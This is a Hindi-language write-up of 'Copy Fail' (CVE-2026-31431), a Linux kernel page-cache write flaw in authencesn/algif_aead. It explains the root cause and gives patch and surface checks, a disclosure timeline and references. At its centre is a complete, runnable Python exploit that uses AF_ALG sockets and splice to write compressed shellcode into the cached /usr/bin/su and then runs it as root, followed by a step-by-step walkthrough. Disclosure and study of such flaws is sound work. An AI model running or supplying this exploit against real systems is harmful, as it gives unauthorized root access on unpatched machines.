<div id='authencesn'/>

### ***authencesn में आउट-ऑफ-बाउंड लेखन***

authencesn kernel AEAD wrapper है जिसका उपयोग IPsec Extended Sequence Numbers (RFC 4303) के साथ करता है। IPsec 64-बिट अनुक्रम संख्याओं का उपयोग करता है:

- seqno_hi - ऊपरी 32 बिट (AAD के बाइट 0-3)
- seqno_lo - निचले 32 बिट (AAD के बाइट 4-7)

केवल seqno_lo वायर पर प्रेषित होता है; seqno_hi अंतर्निहित संदर्भ है। HMAC गणना के लिए, authencesn को इन बाइट्स को पुनर्व्यवस्थित करने की आवश्यकता होती है: हैश इनपुट की शुरुआत में seqno_hi और अंत में seqno_lo।

यह पुनर्व्यवस्था caller के destination scatterlist को scratch space के रूप में उपयोग करके करता है:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */

// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

यदि कर्नेल 2017 और पैच (कमिट a664bf3d603d) के बीच बनाया गया था, तो सिस्टम संभावित रूप से प्रभावित है। सत्यापित करें कि पैच मौजूद है:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image

# RHEL / Fedora / Amazon Linux
rpm -q kernel

# SUSE
zypper se -s kernel-default

### ***3. जाँच करें कि algif_aead लोड है या नहीं***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"

# 1. Check if AF_ALG socket is available
try:
	# AF_ALG, SOCK_SEQPACKET
	s = socket.socket(38, 5, 0)
	results['af_alg_socket'] = True
	# 2. Try binding to authencesn (the vulnerable algorithm)
	try:
		s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
		results['authencesn_available'] = True
	except OSError as e:
		results['authencesn_available'] = False
		results['authencesn_error'] = str(e)
	s.close()
except OSError as e:
	results['af_alg_socket'] = False
	results['af_alg_error'] = str(e)

# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')

print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
	marker = '[+]' if v is True else '[-]' if v is False else '[i]'
	print(f"  {marker} {k}: {v}")

if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
	print("\n  [!] SURFACE AVAILABLE - system exposes the full attack surface.")
	print("      Verify whether the kernel includes patch a664bf3d603d.")
else:
	print("\n  [OK] Surface mitigated or not available.")

---

<div id='exploit'/>

## ***💣 एक्सप्लॉइट***

यह एक्सप्लॉइट मूल रूप से Theori / Xint Code द्वारा 29 अप्रैल, 2026 को सार्वजनिक खुलासे के साथ जारी किया गया था।

- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **आधिकारिक रिपॉजिटरी:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **आवश्यकताएँ:** Python 3.10+, प्रभावित कर्नेल, AF_ALG सक्षम।

---```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.

import os as g, zlib, socket as s

def d(x):
	return bytes.fromhex(x)

def c(f, t, c):
	# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
	a = s.socket(38, 5, 0)                             # AF_ALG, SOCK_SEQPACKET
	a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
	h = 279                                            # SOL_ALG
	v = a.setsockopt
	v(h, 1, d('0800010000000010' + '0' * 64))          # ALG_SET_KEY
	v(h, 5, None, 4)                                   # ALG_SET_AUTHSIZE = 4
	u, _ = a.accept()
	o = t + 4
	i = d('00')

	# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
	# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
	u.sendmsg(
		[b"A" * 4 + c],                      # AAD: seqno_hi=0x41414141, seqno_lo=payload
		[
			(h, 3, i * 4),                   # ALG_SET_IV
			(h, 2, b'\x10' + i * 19),        # ALG_SET_OP=DECRYPT + params
			(h, 4, b'\x08' + i * 3),         # ALG_SET_AEAD_AUTHSIZE
		],
		32768                                # MSG_SENDPAGE_NOTLAST
	)

	# splice: delivers page cache pages from the target file into the AF_ALG socket
	# The TX SGL of the socket will point directly to page cache pages
	r, w = g.pipe()
	n = g.splice
	n(f, w, o, offset_src=0)   # file -> pipe (reference to page cache page)
	n(r, u.fileno(), o)        # pipe -> AF_ALG socket (TX SGL points to page cache)

	# recv: triggers decrypt in the kernel
	# authencesn performs the scratch write -> 4 bytes written into the page cache
	# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
	try:
		u.recv(8 + t)
	except:
		0

# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)

# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
	"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
	"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
	"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
	c(f, i, e[i:i+4])
	i += 4

# Execute the patched binary in memory - runs as UID 0
g.system("su")

---
---
---



<div id='walkthrough'/>

## ***🔬 एक्सप्लॉइट वॉकथ्रू***

<div id='step1'/>

### ***चरण 1 - सॉकेट सेटअप***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

ALG_SET_AUTHSIZE = 4 प्रमाणीकरण टैग आकार सेट करता है। यह मान सीधे नियंत्रित करता है कि scatterlist में टैग क्षेत्र के सापेक्ष dst[assoclen + cryptlen] कहाँ स्थित होता है, और इसलिए page cache पृष्ठ के भीतर कौन सा ऑफ़सेट अधिलेखित होता है।

<div id='step2'/>

### ***चरण 2 - राइट का निर्माण करें***

पेलोड के प्रत्येक 4-बाइट खंड के लिए:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes

u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)

<div id='step3'/>

### ***चरण 3 - पेज कैश लेखन ट्रिगर करें***```python
try:
	u.recv(8 + t)
except:
	pass   # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.

कमिट संदेश कहता है: "algif_aead में इन-प्लेस संचालन का कोई लाभ नहीं है क्योंकि स्रोत और गंतव्य अलग-अलग मैपिंग से आते हैं।"



---
---
---



<div id='timeline'/>

## ***📅 प्रकटीकरण समयरेखा***

| तारीख | घटना |
|------------|----------------------------------------------------------|
| 2026-03-23 | लिनक्स कर्नेल सुरक्षा टीम को भेद्यता की सूचना दी गई |
| 2026-03-24 | प्रारंभिक स्वीकृति प्राप्त हुई |
| 2026-03-25 | पैच प्रस्तावित और समीक्षित किए गए |
| 2026-04-01 | पैच मेनलाइन में कमिट किया गया (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 निर्दिष्ट किया गया |
| 2026-04-29 | सार्वजनिक खुलासा, [copy.fail](https://copy.fail/) |

**खोजकर्ता:** Taeyang Lee, [Theori](https://theori.io/) / [Xint Code](https://xint.io/) में



---
---
---



<div id='references'/>

## ***📚 संदर्भ***

- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
	> राष्ट्रीय भेद्यता डेटाबेस में प्रविष्टि।

- **[Copy Fail - आधिकारिक खुलासा](https://copy.fail/)**
	> FAQ, प्रभावित वितरण, शमन और PoC के साथ लैंडिंग पृष्ठ।

- **[Theori / Xint Blog - पूर्ण विवरण](https://xint.io/blog/copy-fail-linux-distributions)**
	> मूल कारण, स्कैटरलिस्ट आरेख, ऐतिहासिक श्रृंखला (2011→2015→2017), और एक्सप्लॉइट वॉकथ्रू।

- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
	> PoC युक्त आधिकारिक रिपॉजिटरी।

- **[Commit a664bf3d603d - फिक्स](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
	> algif_aead इन-प्लेस अनुकूलन को वापस करता है।

- **[Commit 72548b093ee3 - मूल कारण (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
	> इन-प्लेस अनुकूलन का परिचय देता है जिसने पेज कैश पृष्ठों को लिखने योग्य गंतव्य में रखा।

- **[Commit a5079d084f8b - authencesn परिचय (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
	> authencesn जोड़ने वाला मूल कमिट, स्क्रैच राइट पैटर्न स्थापित करता है।

- **[Commit 104880a6b470 - authencesn AEAD API में स्थानांतरित (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
	> assoclen + cryptlen ऑफसेट का परिचय देता है जो वैध क्षेत्र के बाहर लिखता है।

- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
	> पेज-कैश भ्रष्टाचार / LPE वर्ग में पूर्व कला।